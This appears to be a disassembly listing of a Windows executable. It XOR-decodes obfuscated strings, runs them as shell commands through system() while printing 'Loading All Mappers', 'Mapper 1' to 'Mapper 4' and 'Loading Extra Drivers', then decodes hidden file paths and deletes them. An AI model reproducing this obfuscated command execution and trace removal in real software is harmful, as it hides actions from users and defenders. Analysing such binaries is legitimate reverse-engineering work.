movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xb99]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140050630
cmp r8d, 0x96
jge 0x140050786
movsxd rax, r8d
lea r9, [rbp + 0xb95]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140050750
lea rcx, [rbp + 0xb95]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x738], xmm0
mov qword [rbp + 0x748], r13
mov qword [rbp + 0x750], r13
mov r8d, Ordinal_26
lea rdx, str.___Loading_All_Mappers_n_n_n
lea rcx, [rbp + 0x738]
call fcn.1400468f0
mov dword [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x738]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x738]
call fcn.140009970
movups xmm0, xmmword [0x1400abc10]
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x1400abc20]
movups xmmword [rbp + 0xd00], xmm1
movups xmm0, xmmword [0x1400abc30]
movups xmmword [rbp + 0xd10], xmm0
movups xmm1, xmmword [0x1400abc40]
movups xmmword [rbp + 0xd20], xmm1
movsd xmm0, qword [0x1400abc50]
movsd qword [rbp + 0xd30], xmm0
movzx eax, word [0x1400abc58]
mov word [rbp + 0xd38], ax
movzx eax, byte [0x1400abc5a]
mov byte [rbp + 0xd3a], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400509ab
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xcf4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400508a0
cmp r8d, 0x4b
jge 0x1400509f3
movsxd rax, r8d
lea r9, [rbp + 0xcf0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x1400509c0
lea rcx, [rbp + 0xcf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x760], xmm0
mov qword [rbp + 0x770], r13
mov qword [rbp + 0x778], r13
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.___Mapper_1_n_n_n
lea rcx, [rbp + 0x760]
call fcn.1400468f0
mov dword [rbp + 0x780], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x760]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x760]
call fcn.140009970
movups xmm0, xmmword [0x1400abc60]
movups xmmword [rbp + 0xe30], xmm0
movups xmm1, xmmword [0x1400abc70]
movups xmmword [rbp + 0xe40], xmm1
movups xmm0, xmmword [0x1400abc80]
movups xmmword [rbp + 0xe50], xmm0
movups xmm1, xmmword [0x1400abc90]
movups xmmword [rbp + 0xe60], xmm1
movsd xmm0, qword [0x1400abca0]
movsd qword [rbp + 0xe70], xmm0
movzx eax, byte [0x1400abca8]
mov byte [rbp + 0xe78], al
mov r8d, r13d
cmp r12d, 2
jl 0x140050c0b
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xe34]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140050b00
cmp r8d, 0x49
jge 0x140050c53
movsxd rax, r8d
lea r9, [rbp + 0xe30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x49
jl 0x140050c20
lea rcx, [rbp + 0xe30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x788], xmm0
mov qword [rbp + 0x798], r13
mov qword [rbp + 0x7a0], r13
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.___Mapper_2_n_n_n
lea rcx, [rbp + 0x788]
call fcn.1400468f0
mov dword [rbp + 0x7a8], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x788]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x788]
call fcn.140009970
movups xmm0, xmmword [0x1400abcb0]
movups xmmword [rbp + 0xd3b], xmm0
movups xmm1, xmmword [0x1400abcc0]
movups xmmword [rbp + 0xd4b], xmm1
movups xmm0, xmmword [0x1400abcd0]
movups xmmword [rbp + 0xd5b], xmm0
movups xmm1, xmmword [0x1400abce0]
movups xmmword [rbp + 0xd6b], xmm1
movsd xmm0, qword [0x1400abcf0]
movsd qword [rbp + 0xd7b], xmm0
movzx eax, word [0x1400abcf8]
mov word [rbp + 0xd83], ax
movzx eax, byte [0x1400abcfa]
mov byte [rbp + 0xd85], al
mov r8d, r13d
cmp r12d, 2
jl 0x140050e7b
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xd3f]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140050d70
cmp r8d, 0x4b
jge 0x140050ec3
movsxd rax, r8d
lea r9, [rbp + 0xd3b]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x140050e90
lea rcx, [rbp + 0xd3b]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b0], xmm0
mov qword [rbp + 0x7c0], r13
mov qword [rbp + 0x7c8], r13
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.___Mapper_3_n_n_n
lea rcx, [rbp + 0x7b0]
call fcn.1400468f0
mov dword [rbp + 0x7d0], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x7b0]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x7b0]
call fcn.140009970
movups xmm0, xmmword [0x1400abd00]
movups xmmword [rbp + 0xd86], xmm0
movups xmm1, xmmword [0x1400abd10]
movups xmmword [rbp + 0xd96], xmm1
movups xmm0, xmmword [0x1400abd20]
movups xmmword [rbp + 0xda6], xmm0
movups xmm1, xmmword [0x1400abd30]
movups xmmword [rbp + 0xdb6], xmm1
movsd xmm0, qword [0x1400abd40]
movsd qword [rbp + 0xdc6], xmm0
movzx eax, word [0x1400abd48]
mov word [rbp + 0xdce], ax
movzx eax, byte [0x1400abd4a]
mov byte [rbp + 0xdd0], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400510eb
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xd8a]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140050fe0
cmp r8d, 0x4b
jge 0x140051133
movsxd rax, r8d
lea r9, [rbp + 0xd86]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x140051100
lea rcx, [rbp + 0xd86]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x7d8], xmm0
mov qword [rbp + 0x7e8], r13
mov qword [rbp + 0x7f0], r13
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.___Mapper_4_n_n_n
lea rcx, [rbp + 0x7d8]
call fcn.1400468f0
mov dword [rbp + 0x7f8], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x7d8]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x7d8]
call fcn.140009970
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0xdd1], xmm0
movups xmm1, xmmword [0x1400abd60]
movups xmmword [rbp + 0xde1], xmm1
movups xmm0, xmmword [0x1400abd70]
movups xmmword [rbp + 0xdf1], xmm0
movups xmm1, xmmword [0x1400abd80]
movups xmmword [rbp + 0xe01], xmm1
movsd xmm0, qword [0x1400abd90]
movsd qword [rbp + 0xe11], xmm0
movzx eax, word [0x1400abd98]
mov word [rbp + 0xe19], ax
movzx eax, byte [0x1400abd9a]
mov byte [rbp + 0xe1b], al
mov r8d, r13d
cmp r12d, 2
jl 0x14005135b
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xdd5]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140051250
cmp r8d, 0x4b
jge 0x1400513a3
movsxd rax, r8d
lea r9, [rbp + 0xdd1]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x140051370
lea rcx, [rbp + 0xdd1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x800], xmm0
mov qword [rbp + 0x810], r13
mov qword [rbp + 0x818], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.___Loading_Extra_Drivers_n_n_n
lea rcx, [rbp + 0x800]
call fcn.1400468f0
mov dword [rbp + 0x820], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x800]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x800]
call fcn.140009970
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e8], xmm0
mov qword [rbp + 0x6f8], r13
mov qword [rbp + 0x700], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.___Done_All_Mappers_n_n_n
lea rcx, [rbp + 0x6e8]
call fcn.1400468f0
mov dword [rbp + 0x708], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x6e8]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x6e8]
call fcn.140009970
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.___Removing__n_n_n]
movsd qword [rbp + 0x1f8], xmm0
mov eax, dword [0x1400acbc0]
mov dword [rbp + 0x200], eax
movzx eax, word [0x1400acbc4]
mov word [rbp + 0x204], ax
movzx eax, byte [reloc.WS2_32.dll_ioctlsocket]
mov byte [rbp + 0x206], al
mov byte [rbp + 0x207], 0
mov dword [rbp + 0x218], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x1f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140051529
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051524
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b43
call fcn.1400a24cc
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f8], 0
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x90], 0xeaeff5c5
mov dword [rbp + 0x94], 0x81ebefef
mov dword [rbp + 0x98], 0xc1c8c3
mov byte [rbp + 0x9c], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x80], al
inc rcx
cmp rcx, 0x1b
jb 0x140051580
mov byte [rbp + 0x9c], 0
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x54b], xmm0
movdqa xmm1, xmmword [0x1400ad0e0]
movdqu xmmword [rbp + 0x55b], xmm1
mov word [rbp + 0x56b], 0x100
mov rcx, r13
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x54b], al
inc rcx
cmp rcx, 0x20
jb 0x1400515d3
mov byte [rbp + 0x56c], 0
lea rcx, [rbp + 0x54b]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], 0xcfc1f5c5
mov dword [rbp + 0x74], 0xdfdeccc1
mov dword [rbp + 0x78], 0xd69cc3d5
mov dword [rbp + 0x7c], 0x100d0cc
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x60], al
inc rcx
cmp rcx, 0x1e
jb 0x140051630
mov byte [rbp + 0x7f], 0
lea rcx, [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x56d], xmm0
movdqa xmm1, xmmword [0x1400ad0d0]
movdqu xmmword [rbp + 0x57d], xmm1
mov word [rbp + 0x58d], 0x100
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x56d], al
inc rcx
cmp rcx, 0x20
jb 0x140051680
mov byte [rbp + 0x58e], 0
lea rcx, [rbp + 0x56d]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x58f], xmm0
movdqa xmm1, xmmword [0x1400ad0c0]
movdqu xmmword [rbp + 0x59f], xmm1
mov word [rbp + 0x5af], 0x100
mov rcx, r13
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x58f], al
inc rcx
cmp rcx, 0x20
jb 0x1400516d3
mov byte [rbp + 0x5b0], 0
lea rcx, [rbp + 0x58f]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400ad070]
movdqu xmmword [rbp + 0x5b1], xmm0
movdqa xmm1, xmmword [0x1400ad0b0]
movdqu xmmword [rbp + 0x5c1], xmm1
mov word [rbp + 0x5d1], 0x100
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x5b1], al
inc rcx
cmp rcx, 0x20
jb 0x140051730
mov byte [rbp + 0x5d2], 0
lea rcx, [rbp + 0x5b1]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
mov edi, 7
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], reloc.WS2_32.dll_ntohs
mov rax, qword [str._Done_1]
mov dword [rbp + 0x440], eax
movzx eax, word [0x1400acbcc]
mov word [rbp + 0x444], ax
movzx eax, byte [0x1400acbce]
mov byte [rbp + 0x446], al
mov byte [rbp + 0x447], 0
mov dword [rbp + 0x460], Ordinal_32
lea rdx, [rbp + 0x440]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
lea rcx, [rbp + 0x440]
call fcn.140009970
mov eax, dword [str.S_A3S_A3S_A3S_A3S_A3S_A3S_A3S_A3S_A3SD__]
mov dword [rbp - 0x4d], eax
cmp byte [0x1400abd9f], 0
je 0x1400518b3
cmp r12d, 2
jl 0x140051879
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x4d], xmm2
